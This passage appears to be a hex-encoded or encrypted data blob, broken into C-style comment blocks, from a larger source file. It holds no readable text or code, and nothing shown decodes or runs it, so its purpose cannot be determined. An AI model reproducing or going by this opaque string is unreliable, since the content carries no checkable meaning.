80a8100fd117db0b9e35dc61d690655e224e4d522c70e372aede21ae6d80480dddf5ce1a061c1644cbfb6d5466cf88a726e59ee4f9d843fbd25bb318046acbdb8e6d756b4e0d3dc8734fed0f6444bbdf5d13f585486fc79fc3d01bb17a308666481cc58730280cfc97e5d53db381e516603b65bbd6bf07c0742a0646b902681fa2161e911e4800f1733e4d11c819f63cf6afe7227052313d0a56960d2daa0e29e24f42bff2b0b1ab98bdde7fc010c861561c2bf1dbed312fa9ac5445ed51669bac544286f3d4c87204d834196512fdf5d4e6ec0f289ccaa5f42e351892948e24dcf18450d707f797d5402be4e1587769677098ecc0d0ee2512310b838ce12ad0e6339006d4687435df5ea882c5ec20f623882626db352dedbb657974600d2d1d70232bb9c0a6e9ef6983569b2f7b97084bb042ad7750611999fcb83af8514424c9e01b7b7f3a84968aeb11a06255ae425dc80a171cf2f2f602699689d46a8d9ba2d84e83c94e82d3530aa6cad85d39a4280225cc4dd75c3907b3900fbb648e79b9f686cc3016cfb6b7f7f56efa530fb721bbc3df8f316b70db4638f9b6fcc3d20201b4575f97323af10b889c4fb57bc990b0efc0d4f191a97d1d28e92afe5c7f707*/
/*e392a26571a6ea8fa781a558bb76db9669d5d3b3e6f2aca9f7f542d1f2b21059f7cfbc05b6e8a8738b9218220e701c22f33cc4689fdfb122299fabb8c556f76491e3d1a10ffe6b328be436405c9b84ceb0da1107ab058529574429979fc50ac9123c67ac59fc4b958b3ec0cd7f2f96c2d3e3de5ece0f6fad7d617fecc7bbe85556012527d2ae6994f90fce2f3254ee969831b734ce26d7fe77767d0877f458d769dbf0a1d050584f1151682e8000f90a5b77d43920da1b2f7eb4e53240c16a0fe77d70f5661e09869a25f02901f8213e26b5d352021f13b6cb779528ff6a164416f401ab4c683db506b2a690f4b0601933bcefafa271d0f4ee722393f108a27bde2672ec8d02fca973cbe0b78f7f8ed1be8768db19424bbf42c2aed6c5be268aac419a28e57033e7fdf489a4e176ef85a33ba33feab7d3d72bd8b8cb9bd247164848072e9bb85e077765590ba3d5d07dd95f31ee3ab81ac7d0836a0e30b6a80cc085b320692493d2b97252d9c162deed37793277559cd424da1095cb3a2b7d688ea41f6884334da7072482a6acd5822533591fe7c0cd241d96022c9ddaa39c73155a78775fdb6d833ac0d515b2790f042efdd961d5071f57454586776a903e51c44670ee4a5aa059eb4bf2b2657ef54325301b85c945a419548b1880185fb9ea536bed179c8c65e75d2339e1a0a7fedaf8d5738554f325bc3aa12705907e668bed5c6a14f58e9ede7ae3b770f1de4151134a6ee662c1c14c37c55434fabcc62d0542f9b28dd6d35e5838d2f8dd78d7e10b24249865ed5de30b5f602af92224216a87562aba6598adf9f3eedc2b5d5b562cb3371d41bc4f8b4b7445a3132e6b3a4820251ee891e72ad5bfdb1fbc923e5ad323359d4127fff1b3ffc41d3bcfeaf2c70d0f127e762527f75cca3edcb3a8a91362478f79cfd6e001ca2d36ce0bed9df9b0c001ea09afd8e9fefa5a0be470b4ad8cc730205f0693d1c94c30cb263b3f7158a809fc4cc59873170a2babbfa665262cbd28b94f23c456638f7cbca739e164ae92a072e4b9e9ff6c527144b389dadc6eaa5588aab72abd0534314ad47ee06b3dd4e7c0d985716579a3423267490864b11c807b46c8864089fda2c2d313af2a4a41db68c35242a5d6f18a2dfee225e07a31f97024c6c5745af32fad2765cdd3102860cf726121ed60da7fcb536f65bda9ba6122fddbd97d9dddb99ce21903af1d667d336be328381dd744350e69499ca4557df1230c4edf1fe1aac03107b1efe55b5f1b06581413c083dfb2d1a82ed7dd283ef627f3061d7d625de4a1e1d7d4ff4fcc41b9fef08a8954a4ae2ab532c6ef3a6929034154e3d035615c89d4efd7798800d6579a3936b79a3a85faeff2ddd6ff05498d91a78808445b43a0af176c1712ad0cc88fcc0beeaba618c39fa02007ea94b42a402ebfbce7f32c3dc0df82d59144394e009ea4c2a13ad4218829e8ac92a5528f770b1be9f3c7d3c2146e799dda5d2bc95d7a66354991d4048a7ab3a670c12c00ec5b1c5ce925e3d3fb73d3402cc3a92e01eb966565c5d6531ac8decb528ef6f7c9a5b82242d7350182202e68b3e2e1eabaecd718a8bc9c97ce1c8d66d39f8913e42820af57e18c263b31ad3f5f6f05cb4575bb298696f092e2a739b0b338984e2cfa6385ab50148950bdd4a10e8726d8d22e4caf710cd350d772613abc25eddd4451beafb4525330312700f0296563d8defe0bcedf39f2cc50cefc9b447af79e18b332a8002681f944b2a818b5ed5ea013b14cfb651910147062b49380c1f9cdb3688ba8c2241b4c80b96114d5bc7d3300a8ebfb5046eee29218ec099db920586e5bb3dab58fc3a5563c1ccb78dd0f678ae0573f484ff7d6f837daf0901e80ebdc8705d747db4adc962e70e989c701def8b016a3e57fc399364d63d2d2cbe12982f570beaf3c3f24a7363c3a94dff47e2048b1fbb797dac11ed9927b6da4b309b3de785731ca0016e188db8c22cfb649c7e1af15a171435ee8feee98f8ee9abcad9c23f961323c3aaad48f9d39c08fe112138eabb8542d6b0d270336fa75f889bcfb87eae97bde2cf2cde05743b9a05b827f1ef6151fe47de3b3ca47709a87d5c966c7703ff56e6302c65ab9e588542805106aabe79876bb997486bc11873c87d1e8a790325e3899fb6b5226aa7de94d2e5399eacee3a06085e9372704978cfd7947b3a8613f72f8d966e612c43ecd427f84fcb359166d472844c24fc140e348415655f83a5096a401bf71ad8763f2b7c3233be6e8aa3e614797787c2d8d87fc47c5f09e173fc2b2004e32397f3e347494951c4eed3bdb9b3a47fd6279d415c164a2eed8efff5add68cf7b59f0309b45286267ca607b999f7d3bea623d05bca13e7c63929749493fc943af61bef9461fdd55facc412ad8dd17e5ec4e14128a08a34fbd8fac31607faacad7ec7edff03240476c6cbb32b7a513eb5e8cf318e8ea96ff8b4f7628e50d565130fc98e974711853b4bc9ac13f0bada9f1e72b87b064d5f62b2b0ef94c83d13a58259989f0c74ed6c6802f2bf5813f4357a484705da63b9a2407d557bba2b476fe14d5257fd28c41f6feeca9854d991f943254214e5ec03590b8d69214ac7e4a2b8a5d66e59811b420e5d7802627420e9c0fd66372b056221edcf51eaca0ab2d833189964b241d40cf0ee779a82fe1b00876ef6699f506da1bafa7191c9877f13fdc2503e5d0a9bfdf93c071c98a948cd5cc120b75ceb0753c513bb86c4ab1c2be08a236440dbe7d1c57ed22b09eaf2b046a8fe7c0b5eb718e90c8f07d8ccb53ddd11dbdc44180f8c039977931517726*/
/*d39324969eb5babc4d98092c4f216259b265a09b80d009b66922b97999628656af9cae9dba0c25cb4e83bf2b76ac0eb6f0aa26e635e36da539241fa04e664b5b2b9f178806874e1d1a79b6813b1e83f0a4499b468b410abc5701fdddc30636d9636125f7df25677751af121e9590b12cea2fa2925bf7e09fa41ee5bda2f6459ceba6ec78ac1f8c08f989df1fca7280cdc33a8b4b461983cc587da86778260c6f8ca748d2f1bc3785deb824aaedc3b644cb322b714096b6ab5f30fd432e1b1e31cefac3da3a835fc9d27d50ac9221fb29562108ef594b4b73d91ee73779010d44886ee17cb8d08a44a926561329c95938eb4f678385e7fc4e7261a051028da644ae09acd9f1cf816c2c4a89bd26bb39948f336f1233591e58e5be2a828e38461d7d784c67427027a9450bbb00cd2b67e118e4039379292e6d898154648e69eb7a67dfa34167d43b8ee8d6946f44da6adb49ce8136d137db43c507fea82bf1fc9073fbb5ecde8199d7f14488c3a5e7302da18a4b1adebb481a3f222a459fba49850fd4b9540b40264fd63c13c25d716658fed15f33460139da72ac4adbc22912630c7d3bf9fae1feddd826b6a2de5ee3c9645a957d3347d23d87841e1544fcb29792b1610c3fa9f4e991f8acaf751ee5688948c239ae6ba3ee413e1724c4021298d86843720220e10416c052c604903a6debb83a6eaaf87251fc01152975b55e7c4ff2cc80d5cfdbd2d6f3c5677f5a63f0b31c05d041a66d773a8a4422504cde0fb9c7799fff28c12fa799d2e9174433d4eb04d7d87a4c04d5fae5eb07e6ef5b59775be50a86b6e71e7a7408569c8a8e87a2c88cbf3189c771c7d99f75692aec7b2045889e36bcfa67ff16c77951df3b53e99ad0bab2fbd6df9aadfd6ce7fde73dea21842e68974b136782135d6902df28fee5e84e84f3d7436f541c5568ae4ea992c72f18904191c14aa7b91b3d40f460e1632e7754a793d544ea1ac38b61086642667fe7aac82d7e4ddcb76efa310d5b723917d84bfdab5a2fa274b6dd4f28fe8cc717a1584b60216debf95e19ff1657c86b5be118488cfdb0c7a74142c0d24cb4b204399b24e596bc50abbee63fd61c2e221d332600ac77ae607702d78ac57b1b0a57c7a38578b35f8b85266e636179563d5c5a71488e032a8926d5a60e297ae71554213be1fafdeae9b013708fbd170d9515c4fb46de0ddca3cf7928983d3998c082c3040aee9f2d1b00b6dd3f10927d4d19e8adaf02f0e242ce7d1b91d54e5b737bee5123d65cb1739a28d9de1bb7d8cfb3ad02c3e685d53a9166ba55d162bfa6869167b09fa2628956f6163a54011c962d38b316db99e44dc5a4fc12e359cf740fb721a2b2e13fff985be0982814fe168d34e4c3e42a0a3a3c67a2ec914d5581e7284170044da55a76496a4182d772547962c27ea715a3823ea0add86220d1e385051f7d08c420dfb6f74598ae912e5872998c13bd259b82a6655098fb7a5c37b25fe9601cfbcea4cd130842f085f1c966902c1b6677e460b091fbc15b2c59cd60dbb5cb387276fc6677493180f8597748fa453fdc719baa9b778653af654222770b7426d36c33a812d373d5b527cc600676f840cd19cc8dc5ccc06570dba27eb511ed78156d5ae891e1e8c5b21bef61d531f65a116d3ee135011c95481ae94ade1cd6c86af4a82d1940fc50dd2e50293e88367064816dfa7bcfab8e3c86681c628592541d60793955935f7ff17e3a0692405a2065f515563fecb99fc0a3d4694d5a78fa99880326518927785b0782353e4449f9f027b3dc6d97354866d9b384ce7151cf105a7d9e8ebaed15be2dd4bb9256e1b856f72e5312f272a6e88809f706b21732cd89484bf48de07219e604040b8ccb921d4200215a46112752082a8c5bb3a834222eb84469e23f5b0dc48c4b0c0bf707c90442b2e05b53935ec2ade49bed25a7221c29a5dc41f06accc9ca1bbf52f3447491ff37ece74fb7121dc917eecae9bb65e5030d7e97c4aa26f52a2581d5ecc923c54f77bd690e7968963203963ee070c80e79a1efb43d455a99000b043d53e8f84e8d148032e97dcd685bdd692056aa7a4caafc56e1cf0aafa78b337755c64a49ae98a51377b16a4ee762b662ea4ec402edfbd7620ba385b13302d98737b1c949706f1522e3e0282279dacc5831d5e1a931b02c8a5117e616b9341f67a223ad3d0fe004c2d99053f114881d22f390a6a1e0bff502f3de5cc9168bd138562ea4ce33475242b9621770fdb2085cff9fd9523b0c86a2014504b5386451561af2cb4432cdb6fd4c7d6e14e7120f54b477ead173170dce4a1cbb2712ab777b6ac2b73f5bf9c2797c094581bd80b0a66df893a65ff03eb8c653c372e7366730018a73af04ce58a3024116c8b96d3b723f99e0146007c2ce69305b81af2e0587a8227c8e3c31e72cc19b76255214fb8124af49c0fd5f01627a54231996df6f6bd446ccd57f9fb48def5d5e990e8799a16d8d0d7428506548c298b78fdad2e88f7480b0c7a8d3e38da85e9ba18e5304de531abc1ddf2f2def43115c66af37a992fe8cbe1d5ef51442213a6598d5336cf6a5fada057e7a1e9ed7da7791d588872199891a23d3b48d3ceeb9931a25057cea192682560263b69a43e66de063d058717ce04512cc8df751311810a577114ea5b2dd05719ed7168c6c6e6cb73677e8fa84b504e52f1f4aa26761df920153dee2e97cf4fe407077079db123e57eea1f1db485f85d93b4c7fffa56d0957b449e73bd00b32115712d288ff87440acad34e38cd8be323bcc446359b8b7044c314472198d19d33330c1b7496b63b8fe*/
/*6d0cf68bdbcd5f108e837a5fb0c8cc9acccaf14811fa2818609b24dcf2a45f6a397e2b2d42c904ece7302d71732e79ff92c7b8cd302f5b7b240a94b302c9b56e9348f61a416db90a47fda31456ce28abf5d6e1780186616c0d6b1e873fb7871dd1cfac16b63b932611527561b905eaa91f63205b5556827779798489587c0051a2d4ecd4ea3494d19e1b342ce7a0ee68a602369bb611f8589e0ca1c11fdfdf810c287d38b76f1dd563fd23793f3961c4c15e4cca6d1e02d8004ce12806ab90e4308b44f49f1d5c519212a03622cb933be87798ffb57bcfa88b83b1f97d2d1b192170fdc0fa6dbd154946d5fab53adad652697db7203617ae3af0a4a2441d93ef070760929dbc36cd796b80a4d5d5a87a2e3742c0aa36a220b991bc0466a428cbd8deda1f3dac8a525aeda218c3136a4ed2c8235cac9f690f2e39d8268a5227857b889b7bccace4889a36937b4f1a164daaaa05eded2915248be8eb42c1bcece705fa055b48359b8c7acf936ff62721035e7d0bf18d5e2459f1a77511db7722fe6e2bac9edfa946a31717665d008920cfcbd5fd15f1c2e49fa07df767459e0f582eeedff1633c51aa2f7fa614805203a6675d83d55e16ee0839a4d3b02ac724a5612f59943b8b5f0aa2b6759b2fdcfc52421c331fb986f7b31d3b45ecc620f80a38906ceb4c154124a636f2154677785fd510c12113e80856039247a1a84d292463c45ba679158ea6a40773cf116ba480538de2661b988fded1c28eb51dc1a7772c91bdaf952068c5765f9efc528b4968ff37ff6fd66a3a41dc550018ba7f509d6b052c192dfb2dd6ccee5f0ca46ef7876314bd4967d622d5424a91c9c7d2e550289a440c6d413d400588b2917061387e77b5885145b881e442dd36e826a5c9cf86f87efda795500552cb7041b3cfe59b99d3cf67311710132574f03e380467f7aaaa7c5e8b9024ada48351cb6ce17e98b034db402ca4869666b9e841cfa0f79904908fed3c6aad0327519155fc6361f9b58728200e1b92d3c359dc24d2655206aff0dd38e04d0189d049e613c6b904ff7f21c0b36945f53a9fe74cd53998aa3614ff91afb3980dce859987afbe2195725a25c93bcfd6ae59c0d5529e91ca989328e425e33755d547cbd4daa187e3dd79f738ff4139c155194cf56f1922e96005c825ad0fb5fa4db132d6338d07cba9045e20fce146eb9cbac4f0d35127336df96f34b4398d5fb5cd17eafef84e1346dc64fce132b7189419db7a51dee5fe7e5567e0a73f98dd13001711e495aa8cda3f1d722dedb06e90165fb930396e27deeb786e422bf6b8e347e794cb0dfcd145c03c7fe9401d785145c28d38ae46df55164813e1a343378fa84c1cb145d4c07a27a69e99b1fdf9acbbad5662aa1ff81fe89f7f01dd921c233f9ea70b6ca2993e4c56889e05809e107625ea7f6faa0d40a9368a16e6c9f6b16d5fef006ea504c37b9052000193af235930807344e6957a82a0b62b81e9b6b8c11a63721f2f79339e8b9334bec5b8def704b3c889ca5af7e6a3999ef6e7f3f914ad2eaa7051a1b6fb0f08fb2539f77106c23666fe9987f542630044be54902f4b2ec5087ed66717beef8b99fab50f49ffe24cfd7026d64882a36dbd467425e6ed48ccd353d3e30a5956cca0d6019a2e0ffe0b12a400d6bf9acca4a0fa5060529922b01050879346c5f12c23486efcb4b607af9cc1b92e97c9330504c7c744630f72c3b010ba83d8560f208c449630e724a155ff44ba3ab37c5e5a6773029b2e85dc6e141fd3a5db8fccceb7a86b82bce3277bb60f2cb32d06caa06f04fe5cf34d8d1e01001aba434faff7d8877c3d1001ea1d0895a4c3d3ef94168b7ac6fa234d314a2b2e8072ee515eb6eb99f40f82081ef1a87ea7eaec0a12c9e6b6c25767e1a3f0c28b0f8bf7a93ab80b37eba68a34d78f812fe3041b3a609f540c9a54c60a656ad82dbec4ecfbcdbe1221fbaeaf4016eefeb268c2ff9d0c7d5a3da5a37bca8296840ef39782c7bd1fddf641bc20a14cbc1c424df9b49fa1c74771321245db03c938dee368e4fa58e6d1b74c47ce6ea3b0a9bc7852cb20161413842b38695afd17e496dd8d298c775595b7c4083572e44fc6b54e9df58cd64e2c9f14027fa6da59bbe91819e583f208c649f3abc1afbcbd16576c4086cdfcd875cead7d2e9b28f4db0cd6e460436b4396fc7597eae64ec3f27b933c94e783785cb3f88b59ae10e6d13c37840fc9ab43539f71e5dfb4573bb10f08183099a1ab53aa740ece19d4972c2ee615ec92523cc968e834ecdc5f5d5505af1efcf01fffb75a87b2f03ad054daf2c2aa1a48465f78467ad49b442b37311d86bf5cf21e65a182d37e7c65a1b2fb260adc50773b674ae068c06913673388cfa2d8405a94f94434368bba0b969c64de1c36461f5fd3e70d613898540615560201d7c77a07d2f9f06032c46df1bffc449e38aaac6b1091916f8dd7352cdda1d72089263ff814243c583a2ee5421f15471156ddbda2b2012aa1106349b24a29c3f7d8770c22dda1a257bb56e5b43c102f1e8443ae152bc684ca3d4b956773e93c04fb007ec07c38fa40edd0824f1afe409fd90f25db37d249d9d019cf9bd10e60d60c412ceaca8b61892826f2b4c6accc03b717e77c4558b62c0909540373cf856cf976638ea65e215c7253d9975ba78b8e19f16d4abeede970198c9ec908d3a7644cf96ce3d0274523ddc1962970d84e53eaece0e9ea86b57b9074ec71efbbd59165b0c8fb9f7651556f2115f515de721e5003a4ecb75847f4e18aa1e7e4a00508eb046b2a91f1e85ddc9b8b3b38529527c0b59d*/
/*6133c3f8af46fa94eb01ec3ba5d4c508e6168b44df5b7c7d51fb4d1c40a7bcd345c8e68e5fcdb42a414fbc98545c5230ee71f614afb12d6e1cf853bbb1eb82db146a4440346a40aae4a0d58e5aa270a6117c04d90ae3da088c43505c8bf56d64ebf21866833077dd883799b6e2051861b5e188a684fa4bbfc43836218076cb2d62a4c454e356418b90249b110704d1d8cc563f88e9717189d15be304ed0c90f1f9b36230fa4a968f3fe120718fdb802b7439744cb541c7e4ad7afc33a69d2af2965ab6591c036124aa50e8ef9c9990a31d283e6ea250fec2a5283ab4b00f49854da12bfc6f56a7dc0a0990bf75da4ad2f01681510e9640df5215a62aac1e80569b09135bd46889fc5917bbfa35dda101bbd529c956b28cba4d8ba03ba95624f8d309473b569b6ad50e15f501be56403fbcb923caf266aff0105d1c6e0a7183c41e4c0a981b19ada85ac8861f1f98c6254d58f001bc660feea938386219ff00298154b902f501f119cf7cbf2e4fe3ca3448e45717ee84379a04a54c17268f3ab9de6ea079f6af9ee5b0a00e767959ca1a48c6f26cbf23503207b26575f5352ea2df94406666152fade3e4483a4b22dab7dfcd2dd8d89ca0c6f41ad22ef7f782ebd26f1eee7038c3e487491d74fe8f9d8c215a21a4968706187ae533ec2553d86386860034f30d7db7584b3c18421d7379b824644ef4de3ef982d2af2211dddb8f43d87616b0f3c30b28ef9b0e5cef4683f632276356b21ed530c42ca78f5ab1f80b5d96bdc6eba34cd9ab74da90d7f659a8e3c5d702ec63d0b726bf015f84a87a05ddddd759a2264d92512103d6b5f827666ec61d10573e5c390ad730d153e2314b978207036a80ddd262458c339d2f7a7b33fcf28d0d79098dd18bb8a80cbd6335bd7f9bfd4663e8035511f2f45988f3b31467bb2270bc8a2764664221c0d41ea1c3f363df843a864d117f6b1c9bd801ab9684e5ef935554064b0f2dafdf83fb40923bf95fcfd72847f6b95e29bbd2988cbda1bfa2df0cf753713a59b4d4a9cc73816e7262cde0a2066d1f51c70d6220af7e22dd6dc50c02f27224f112ff7ae32c560b074766843dea0be8a143f73c32ee72ae6130542c6763ce2d831aea31f63282096106d38692a5b6c0d6bfdb6dc27bd267c0e4a2fb9c26a7e0266659f44d1787b551d1fb2ecff1532fe738313b139b02b544ec8a78d4eabf8710a0618f11c7ab4489c5dbccf32c8e27e0da02896f033eccb8545cbff71cd619dc1d38199316778597e68bc82ac5cd424cc38b5750ad860945d834d3b0a37802af8aca19c019bb981f24a1989d648aea0624999f4aac94b443592dd302124427e65873efdd538a8b97abb2230ee8c12366e2a053b54947eccd87cff72546d68965402395b06b0afae8e812bc06fdc994b922e3717198085338db92199cb1234fc3c0e3d1cead1f828881ac84293592632a7322997ce15c1c73587d117721fdc18ee0e36c0b215db045c16ce6a78ceec86e379af9c4e689ca5f2df65b34607775f640a2a050f8e41a79a29d150cb98a5ee86b65e8fc94568a94addd9b34b96ee3ace3a821e7ed5059cfa6db911774203d8281f97f8a6bbe81da82ca30372387b1254d24ccf076afb7c693da508c4a505b546579413145a862c4ad177e0908e7641fc28d3e487050164320137b539c6d95f7ec1029943a127e0c85d0fbb9b703aa8cd3ec21c198fe163f068a97d355b710a3cbf2343b33d4a53e0b46050ab94fa316fd69abf7de5d78994a84ee49e32be12f3991c9b8f6cd7a986d77755ab8b7fcfbf3efcd536bd56c80bcfc897736f34e569f38f324ea199dd271061c436ea6e595eda57a36b3783f92616471c97e1e3a2379bf132b69a0ca27d94c86c0cc13ffe4a9638aa4a74f6589e58891d8186b7424b505a6d386ad3174bd5d9357239afe8e26209b145491933c7f69cc69ea067be252537e0835980ff8a5766e548b33557f4b12e9b864172cabda9630bcd03d6647042cd991d2c070dbb9704ef2084767a73f67e89e5338a98eaf8893cf336f947cd8f46abd171971fa48071c459442fd5e20c3d9e07b1b6b6120820af282935476f1fb1b600a4d88dbbd07c5eedb06d9f3923fbd1838017d2ef30b101f0e51af0180cc1e0502b87ff88eb024345e6456296be3f58209e2d21e84385601664fcaa78cc412cb14b42089617db75768e5fbf07e29cc4b3cafe0ca9bd4143ff18a5754907c5d0e0ac4600b6b9c05990030ef2a91cf85d088f51d37a41422e1b62f45802d4a41aadd054ef48039ebdc59dec3d034362f01097367bd0ca6506a34e087359a5cb5d7ab1251bb324ffd5e2f3340b6f9fe2eefc73593d42bf33dead98318cc2ee2562d11f2ef360ac0af04ca0bb2ef80b834c5c15f9893ad73af04df789ccce6cf498240df787b9d36afcfcfa7e2529224923d249e28a3d1ecf4227b5d9b1f96a9aa478fbfc569590f42012605f28d32cdf2525311931389b330d33694d0cc214e473890b3ec11a2cf00b7f994cf26621e9667d7e5d322d289035f89e368f0fe455f99356136c941ea2ad38fec53d007a931979380c6dde011f5dcd3ede32f925760047a9ace51efe10656b04945a01d3caf7d3652ac24b0b0b169b06dc5526fa41fba5349a56c1d1c699f266204b34d574a2f8a8d9c2d7f19cd0de13cbd012366da9a741a9ad6ec2c1b1d4727d853acc4cbe717ffecb09dc8112309b786b8ef6f27b7bcfeebe6d955f35da388fc6bd141fe54169bd2b7923700c31b859af527b5b96b7b7b3ba4bab6f4025daf592dede4616dbed3c546d1374e0ad09db8ad2dc627ed*/
/*8b6ffa26bbe2cda50ae3e3c097f876490eccf571db3550e8a08bf89e82d78e8496ba5c9826923a2bc0016e26ac9fb7c5a2c97733d3311f8c329117d56c834efd2371d94a5d6b66f5c6ec62351d177a225f2e4207093614a1b322b058644677184dbff26ad83d66d20714d183bad98cef36b4c06e4aecc834793e92402a41e2369035b54be22f059d05e6f682a5d8ddcd3e46ad0c7d80047d09b3c5c7a41f159f22dab08f7b1b873f4fc3e842f6c2e38e6ecdc53b9af4e363698aee3ec2637f3b0066a99458bb25a771975633802da8603b8d25a6172c32b3c537a978bdd0ed738afef316a2fc466c2cd70f15b01ddb736dd78630bf9ccce37945d86f61fc4f8eb791af6a65ebbecc63ee1d872499bbf47088052d672da7208371195f0039ef96c6af571a497e11e4ce88835543baed5213c42574430b3fcab27cea5e49f32944ea8576ac65e4711957d2629e71cabed3a83c2db9e81571bc17160f9c6c5d294ed2c741e5bbefe5589630629f7bbc5a1a2a005ff1c454094cc36d4b9583bd36642fd651d9a18112d6ea1b01d725d63b24e7f32a025510689aa185638aef5272059ee09a4f7e8e36f089ab8ddf5afe21507af6180ac82b21f023bf85bc905f8fee6ba90e868d72e0326223d32fab2f5c542d94940038dde91d7590a01e5bd736014713558ad0ba3ec627e75ed50d877e3a10d1dec0d64d1411834c7f8940ba720a842cdc884128718e6c5cb1bcc63540a9fc88e4d44478ba0176f8aeea9f65e6f63c326188cc6a0ef982f0b726e9cbf2859e6d2857424871a9645b1c235d389416f20249ff217bb1547d43af51bfb67b20eda87f58493eb1e8cd2618d0a806ba40d9fe35eb8afe46c035ed84f1f32bdf8b5ab2d4cb1ed0b3a86ee497499aff07dc2715f41fcb75d81af5ad26041456903eef2ab3042ef7ef59dd151440c897e46b34606829ffb25a690daa1f66473ba2fc5ce51c2ba0ea92ea1475e0a3c2ce8c6fd5decc5dd3020fa1649da486eb0fffc727bd7402c05e4bce8de46d9db9d1db9d45d661638bfdab0fd41200e689be0ceb3bb4915f9088d127245dff0db0b4e20dce03695b727e65519460319f614ccadfb325b9304564a2cd2cb6d7d2aaae30b2147ddf449b89eea1174d034904d22902ae41606062b6169b671fd468596c9be8f823b4de125a59ac897bf2562ffe247e10552d52acbaf17206ca6034ae639d42cb6124a40734c01a8c8fa0f1b79de7b2109cb1261180f8b8f3bf2978a649b5c79e33c1fa3dbd10bbf5c0bd57542984b65d298b7d981431242cc5105e1043e12451108d0f4bdc950efd0248689aedc5fb06077145025f860cbf23795f5b3092dc73c034672d9db139be55994fdcba2bb066b2286a75ba3d573b3e104a06e616c5b1af90c734a7b33e476b76cefee7837d8b602bcb9203412774fbca803dc8e59d204125ee4a9978cf3552125d57af628fcf5faa7d1ef612653e81bd9b9b9273afb63b9554dcd096b5cd5be5ea42a2075524bf2f0f6eacf9927f9394a17248c4724a3d0825267fa1ad58bd2da89abdbdbdba8ac8390d29a7bcc05a242e3bbf4e06d17a423c00f97b1918389be9cc9a98771b057a172b6165d00b4105396e79318aae1fea10cadd82e6ffa27494141647f4c0f82bec87df17f2e82f715628cb9addfa1fd6f72d7b8aac3f0c9ce578db3ba859f342e528eb8e5aeed49d81bba0b77ae7a3c1983ea655a1cce69c5f27abcdb20f2a0081f2e20b452f7ff11ce7a58200f668c25083afd74fb7219eaf77158a6c14ac8022b9dd128a0d58b4866071bced1f0792383f710dd7f6b63baf2d2e200e9c4c6f15801d59ef5535cdcf899619db774224a6af5ba775ece8b5ea93430c814f413225ac3ea368f19d8c396c9244a115c6c7d8e940d596248b6999fb948ebb4ebb5f17bbbc5f2e37c40026ea49954c5a4dfb92bcd34863de2189be2865a5c08f2fc0180cd7d1b6858cea35d5424af20f6fa19c6dad3b1184d313457bdc7989df62ae8683ccc1fc226fff9aec28daf0902dd2c12ab8d74f44298c9a114ab093481a9b673ab3f53ffb771c701ee82ab771d3508941b4810ea5d739f7ec3527b0ccbc84289cfe38ced6a1eb5e6acc046d6093097f27899dfc62b4a1bcc6535e750acfc7348919fd930d185bd51e2736a3038e07fcf650d37ae7d5ab789eae25e6d89387c277ab218a2a79367ce7465374cf00982dabdbf59a407162290a41051ec0e0b5fdc5c6e17824ebb2f104c4f4c8142b353dc64091c120c912181d08fb3ec72f3436f4f052e2ee5776aca83f3989c9b04795488e4c1c0e0411e42e4f6fec89c09acd401a396d65742996ffc8fae4db174c792bab6d41b17a18a4b4f178d4ef1c28a8c676bd2fbf0301dca7497b7a3f3cd417ab5b17cfa14ecb4bd78af34124ce1a96cc65a32774fde0b1e0eea7d2fa3a52db26a9b95f15e15ecffa8890e45a569227bdd47d81939f7a7c29544fba63dad8c033d5fcc0cb3c7106e22638fa28f78f75ee4b8c3243f7518f1c4125d45c584218eb920b154b612bdc7102a5ceb646edf69a232c625e9e31efc69227dcfcfa3b3a6c72c52042692d4adf19c57785aaa6d7835b99bb1c5fa2c61bb8f83907187b378c107f0a07445dade9075c29184c9f76e97115503807a2ac618985a0c0b2abf9b5559dd827fc9013682f3979f829bc7e6b46c3eb24a60104a36604a78dc5d7b6c58bbc9378713222ac8f51d1e6ad4b6421399554d473914cae74e28f56d745b43eed416db1e87197ddd7fc3a0995f378388d0466aa9f85173f8e618dbe5725a01f9679a594caf3ee60821939*/
/*9a2733bb9d415234b0fb2432f82de4f8880f990e87b1de1d7e88b37701202c19b2e02377ace63716ec35caf5fa03ebea441adc1ab5685e0d71123e1cd0322cb47f37013767a1031dccc8abd310ce0354d01f9e514b25e385214b52eb025e737e02c4be8cfeda697a1b64f7af28a33d138de9ceb896ab347b9c879d5c5793655ab448992e21514297af8a1ef12125c841c5757d8c355ac0081926bfecd2a713d5f9e0187abddfb0ca66168c8abbc1c873954bf66c0185d713a9f18dc4f4e161cd4e19e610f05bcf63153d9392228d66c10bcda65d019c7fadbd77e425bd38471e1d7c0c64ae37148ae94f3ab213d5b4c334f1fec56eea4692d3a03e90b3872e4b292a0be03c14a68eb2d461662485264ef4690c504f461eb4f22d00000d8f54566dd0a02a3788c13349ab915f09b86aa06e1c2dccfd0a185fad530cb3bfd0768b588d78af92c41f19548929a44bba18295ea740290f9f6b841b86ce2c8ffea7dfb1f1a7da06424986292cc9c4c8d98e6a7325df312181af64abb2649792bc1342077ecc2f774082b0b1fce48d3a5eb73c084253ad8bf8e6ed2bf9c7beb4fe4bcb2482ff1936f3b266cebfa892b013753b9bba0ca86a0aac0fe4316d10effbe178d0a2678c4756dd6ece0f606de0e2b5474ecd00924e804bb3189db06292c987080301ca37e4cafb88f854aa5671d5f50f08e3042d187954b892bf0c8ed0a1f75bd323d2c848b9e894336c4cf808f00d44977caf7cdd6f1fd464a9a72477ab8af8aac6da66483188dc776dbf860a3a81baf8d9cd8c381df617b62977a9cd1c616894724fd0d82012667c3628ff2a2929b1c6c13909d7fac3b04531b2505997c4b0fd0400752abb3a17e365b67d83e0e88912de4b7a05460491b01864e084b74e2251da2d91152ba8ba06cb709cef7b228e8fce2f634b552e96afdd8cfac6564cbd35a869466d79fadca4cac06ba3d6907b73b1f1b9917f6e21b4bf66e90accfcf79ccf42e9f79baf85b848804be616ff0cdc860afe442b337f7c0dd8f22e4a67f10cda28735b965cb9ed3bf6a36b7da8d7ceba18970ab77d5a8af282ab61ebc122afdcf36a8180dbeb63d19ab45d29e4d176f313c8aebe630232755c853c4987d5f1431e152f683e170efa08574f615fc0676c55e95674a893fa8a128219e05eb491d7cb46867095fbb40f342937b00878cad0d8619b800b9e3b48e9933aff2c11567fcf0957f31a50a736bc5356e89fbd73acbd28f062121a236e015f233343787a5a7ae6189432d3315d56a6f519166c94b1e18235a7b9a5c7cd3c4a6ed10fe1e272eb37cd9fb452f6d2148607cdb67a355e37fd1a59056dd28edf4852076186321f0e39dc1b77d13c90d116836a00e1ec5be1fce413f91dd2d1a57f9ef03c40a3e905130c2097513c84632bc0e33ea737f9db129b27bc65236fbd3d41c2a6719f289b70f223e2d2b15fd79cffde13cb644d76292e457341252945bc89f02a53330cb9fae5698cc4c3be02e60457454090c1428eb95c605537a1b399bc5b0a51f7ca